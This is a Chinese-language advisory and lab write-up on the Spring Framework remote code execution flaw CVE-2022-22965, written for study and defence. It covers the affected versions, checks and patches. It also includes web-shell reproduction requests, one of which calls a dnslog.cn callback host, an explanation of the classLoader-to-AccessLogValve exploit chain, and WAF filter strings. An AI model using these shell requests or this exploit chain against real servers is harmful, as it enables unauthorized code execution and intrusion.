【漏洞由来】
根据vmware发布的公告这个漏洞是在周二(2022年3月29日)深夜,该漏洞最早是由蚂蚁集团的meizjm3i和codeplutos 报告给官方的。
2022年3月30日,国家信息安全漏洞库收录该漏洞,漏洞编号为:CNNVD-202203-2642。
CNNVD官网漏洞信息:国家信息安全漏洞库 (cnnvd.org.cn)
Spring 社区(3月31日晚)发布了一篇名为《Spring Framework RCE, Early Announcement》的文章,证实漏洞存在。
spring社区文章链接:Spring Framework RCE, Early Announcement
2022年3月31号国家信息安全漏洞共享平台发出:《关于Spring框架存在远程命令执行漏洞的安全公告》,编号为:CNVD-2022-23942。
2022年3月31日,spring的所属公司VMware发布安全公告,修复了SpringFramework中的远程代码执行漏洞,CVE编号:CVE-2022-22965。
VMWARE官网漏洞信息:CVE-2022-22965:Spring Framework RCE 通过 JDK 9+ | 上的数据绑定安全|VMware Tanzu
CVE官网漏洞信息:CVE - CVE-2022-22965 (mitre.org)
【漏洞等级】
高危
【漏洞编号】
CNNVD-202203-2642
CNVD-2022-23942
CVE-2022-22965
【漏洞描述】
在 JDK 9+ 上运行的 Spring MVC 或 Spring WebFlux 应用程序可能容易受到远程代码执行 (RCE) 的影响。
该特定漏洞要求应用程序作为 WAR 部署在 Tomcat 上运行。
如果应用程序部署为Spring Boot的jar包,即Spring Boot的默认值,则它不容易受到攻击。
但是,该漏洞的性质更为普遍,可能还有其他方法可以利用它。
【漏洞条件】
- JDK 9 或更高版本
- Apache Tomcat 作为服务器容器(版本小于9.0.62)
- 项目打包为 WAR包
- 项目的依赖文件中有spring-webmvc 或 spring-webflux
【漏洞范围】
spring版本:
- 5.3.0 至 5.3.17
- 5.2.0 至 5.2.19
【漏洞解决】
受影响版本的用户应应用以下缓解措施:5.3.x 用户应升级到 5.3.18+,5.2.x 用户应升级到 5.2.20+。无需执行其他步骤。
对于无法升级到上述版本的应用程序,还有其他缓解步骤,参考下面官方给的链接,当然下文中也会详细说明:
【复现例子】
【复现环境】
java环境:java8以上版本,使用常用的java11 ;
tomcat: 已修复版本8.5.78 、9.0.62 、10.0.20;使用9.0.0版本进行测试;
python3执行POC脚本
【复现命令】
localhost:8080/shell.jsp?cmd=calc
localhost:8080/shell.jsp?cmd=tasklist
localhost:8080/shell.jsp?cmd=curl%201cthvf.dnslog.cn
3.1 把请求的字符串属性绑定在对象上
POST http://127.0.0.1:8081/greeting Content-Type: application/x-www-form-urlencoded id=999&content=content
http://localhost:8080/helloworld_war/addGreeting?id=1&content="test"
spring web 中的 WebDataBinder
它的作用就是从web request里(注意:这里指的web请求,并不一定就是ServletRequest请求哟)把web请求的parameters
绑定到JavaBean
上
Controller方法的参数类型可以是基本类型,也可以是封装后的普通Java类型。若这个普通Java类型没有声明任何注解,则意味着它的每一个属性都需要到Request中去查找对应的请求参数。
spring-bean BeanWrapperImpl
通过参数名找到bean对象的get、set方法
spring-bean AbstractNestablePropertyAccessor getPropertyAccessorForPropertyPath
getPropertyAccessorForPropertyPath 根据属性(propertyPath)获取所在 bean 的包装对象 beanWrapper。如果是类似 director.info.name 的嵌套属性,则需要递归获取。真正获取指定属性的包装对象则由方法 getNestedPropertyAccessor 完成。
director(不包含 .) 直接返回当前 bean 的包装对象
director.info.name(包含 .) 从当前对象开始递归查找,root -> director -> info。查找当前 beanWrapper 指定属性的包装对象由方法 getNestedPropertyAccessor 完成。
- 调用参数对象的getClass() 拿到Class对象
- 通过class对象调用getModule()
- 通过Module调用getClassLoader() ——ParallelWebappClassLoader
- 通过ClassLoader拿resources
- context是Tomcat的StandardContext
- parent拿到的是StandardEngine
- pipeline拿到的是StandardPipeline
- first拿到的是AccessLogValve
3.2 tomcat日志相关知识
server.xml配置文件
className="org.apache.catalina.valves.AccessLogValve"
directory="logs"
prefix="localhost_access_log" suffix=".txt"
pattern="%h %l %u %t "%r" %s %b"
/>
4.1 排查措施
4.1.1 JDK 版本号排查
在业务系统的运行服务器上,执行“java -version”命令查看运 行的 JDK 版本,如果版本号小于等于 8,则不受漏洞影响。
4.1.2 Spring 框架使用情况排查
- 如果业务系统项目以 war 包形式部署,按照如下步骤进行判断。
- 解压 war 包:将 war 文件的后缀修改成.zip ,解压 zip 文件
- 在解压缩目录下搜索是否存在 spring-beans-.jar 格式的 jar 文 件(例如 spring-beans-5.3.16.jar),如存在则说明业务系统使用了 spring 框架进行开发。
- 如果 spring-beans-.jar 文件不存在,则在解压缩目录下搜索CachedIntrospectionResuLts.class 文件是否存在,如存在则说明业 务系统使用了 Spring 框架开发。
- 如果业务系统项目以 jar 包形式直接独立运行,按照如下步骤进行 判断。
- 解压 jar 包:将 jar 文件的后缀修改成.zip,解压 zip 文件。
- 在解压缩目录下搜索是否存在 spring-beans-.jar 格式的 jar 文件 (例如 spring-beans-5.3.16.jar),如存在则说明业务系统使用了 spring 框架进行开发。
- 如果 spring-beans-.jar 文件不存在,则在解压缩目录下搜索 CachedIntrospectionResuLts.class 文件是否存在,如存在则说明业 务系统使用了 spring 框架进行开发。
火绒提供了部署项目环境的排查脚本工具;
4.1.3 使用springshell脚本通过http进行检测(url较多,可能不准)
4.2 解决措施
4.2.1 彻底解决
目前,Spring官方已经在5.2.20,5.3.18版本修复上述漏洞,用户请及时升级到安全版本。
对应springboot的版本是2.6.6/2.5.12
升级Apache Tomcat组件到10.0.20、9.0.62、8.5.78
4.2.2 规避措施
一、使用WAF缓解
用户请根据实际部署业务的流量情况,在WAF或其他网络防护设备上实现对"classLoader.","class.module. ","class.","Class.",".class.",".Class.", 等字符串的规则过滤,请注意其中流量特征 "class.module. " 对大小写不敏感。用户注意在部署规则后,对业务允许情况进行测试,避免产生额外影响。
二、其他临时缓解措施
全局搜索 @InitBinder注解,判断方法体内是否有dataBinder.setDisallowedFields方法,如果有使用则在原来的黑名单中添加:{"class.","Class.",".class.",".Class."} (注:如果此代码片段使用较多,需要每个地方都追加)
在应用系统的项目包下新建以下全局类,并保证这个类被Spring 加载到(推荐在Controller 所在的包中添加)。完成类添加后,需对项目进行重新编译打包和功能验证测试。并重新发布项目。
import org.springframework.core.annotation.Order; import org.springframework.web.bind.WebDataBinder; import org.springframework.web.bind.annotation.ControllerAdvice;import org.springframework.web.bind.annotation.InitBinder; @ControllerAdvice @Order(10000) public class GlobalControllerAdvice{ @InitBinder public void setAllowedFields(webdataBinder dataBinder){ String[]abd=new string[]{"class.","Class.",".class.",".Class."}; dataBinder.setDisallowedFields(abd); } }
5.1 漏洞实际影响
本次漏洞虽然目前调用链中仅利用到了Tomcat,但只要存在一个从Web应用到Web服务中间件的class.module.classLoader....合适调用链,理论上Jetty、Weblogic、Glassfish等也可利用。
另外,目前通过写入日志文件的方式,也可能通过其它文件,比如配置文件,甚至是内存马的形式出现。
本次漏洞目前唯一令人“欣慰”的一点是,仅对JDK>=1.9有效。相信不少公司均为“版本任你发,我用Java 8!”的状态,但这也仅仅是目前。与其抱着侥幸心理,不如按计划老老实实升级Spring。
作为一个Java开发,安装正常的java开发的逻辑,这个漏洞的影响并不大;
面我们看一下2022年JRebel 品牌在对近千名专业的 Java 开发者调研后发布的《2022 年 Java 开发者生产力报告》。首先,从图中我们可以看到Java8 + Java7 就达到了42%。其次我们可以看到虽然Tomcat占到了web容器的48%。但是,使用java9以上版本,一般就是java11了,使用java11的一般会用springboot来搭建项目,而springboot的标准模式是jar包。
而打war包的项目大部分是老项目了,java7以下一般会打war包。
5.2 其他影响
比如对安全产品的影响:
WAF防火墙的规则
检测类产品的检测规则
漏洞扫描系统的检测
代码审计类产品的内置规则
软件供应链安全